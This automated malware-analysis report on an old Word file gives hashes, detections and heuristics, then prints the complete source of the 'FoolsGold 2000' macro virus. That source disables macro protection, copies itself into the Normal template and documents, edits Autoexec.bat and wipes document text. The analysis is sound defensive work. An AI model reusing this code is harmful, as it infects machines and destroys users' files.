Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 edf5b72597b461bf…

MALICIOUS

Office (OLE)

30.5 KB Created: 2000-08-07 23:54:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: ecbc7084688f3b24a5c7a20f803097cb SHA-1: 83b5a3ec8c4a620a479d4d8a89a5cb6641a56bff SHA-256: edf5b72597b461bff55e9c28a03cdda96a3feb3358da39bd5a6459c4534060c2
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic and VBA macros, including an AutoOpen subroutine, which are indicative of older malware. The script attempts to export a VBA component to 'c:\Fool.drv' and import it into the Normal template, suggesting an attempt to establish persistence. The ClamAV detections 'Win.Trojan.Psycho-3' and 'Win.Trojan.wmvg-1' further support its malicious nature.

Heuristics 5

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3437 bytes
SHA-256: 0e56b49a04c949224094d2a0955585dd589664fb40e2d36d865d6bd04bc13b87
Detection
ClamAV: Win.Trojan.wmvg-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Fool"

' FoolsGold 2000 Virus V1.20 (c) The WaLRuS 01/00

Sub AutoOpen()
    On Error Resume Next
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    ActiveDocument.VBProject.VBComponents("Fool").Export "c:\Fool.drv"
    SetAttr "c:\Fool.drv", 6
    ActiveDocument.ReadOnlyRecommended = False
    If (Second(Now()) > 50) Then System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "The WaLRuS"
    If NormalTemplate.VBProject.VBComponents.Item("Fool").Name <> "Fool" Then Norinfected = True
    If ActiveDocument.VBProject.VBComponents.Item("Fool").Name <> "Fool" Then Docinfected = True
    If Norinfected = True And Docinfected = False Then Set eggman = NormalTemplate.VBProject.VBComponents
    If Norinfected = False And Docinfected = True Then Set eggman = ActiveDocument.VBProject.VBComponents
    eggman.import "c:\Fool.drv"
    If Norinfected = False Then ActiveDocument.SaveAs filename:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
    If Docinfected = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
End Sub

Sub HelpAbout()
    On Error Resume Next
    MsgBox "FoolsGold 2000 by The WaLRuS", vbInformation
    Assistant.Visible = True
    With Assistant.NewBalloon
    .Icon = msoIconAlert
    .Text = "FoolsGold 2000 Thanks You!"
    .Heading = "GREETINGS"
    .Show
    End With
    Call Windoze
End Sub

Sub Windoze()
On Error Resume Next
    SetAttr "C:\Autoexec.bat", 0
    Open "C:\Autoexec.bat" For Append As #1
    Print #1, "CLS"
    Print #1, "ECHO                ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·"
    Print #1, "ECHO                º  *****************************************  º"
    Print #1, "ECHO                º  *  FoolsGold 2000 Virus by The WaLRuS   *  º"
    Print #1, "ECHO                º  *****************************************  º"
    Print #1, "ECHO                º  The Fools Gold Virus wishes to thank the   º"
    Print #1, "ECHO                º  user of this computer because you have     º"
    Print #1, "ECHO                º  helped to spread the good words of peace!  º"
    Print #1, "ECHO                º  WaLRuS                                     º"
    Print #1, "ECHO                ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ"
    Close #1
Finish:
End Sub

Sub ToolsMacro()
    On Error Resume Next
    Call Stealthy
End Sub

Sub FileTemplates()
    On Error Resume Next
    Call Stealthy
End Sub

Sub ViewVBCode()
    On Error Resume Next
    Call Stealthy
End Sub

Sub Stealthy()
    On Error Resume Next
    Selection.WholeStory
    Selection.Delete Unit:=wdCharacter, Count:=1
    ActiveDocument.Save
    Call Windoze
End Sub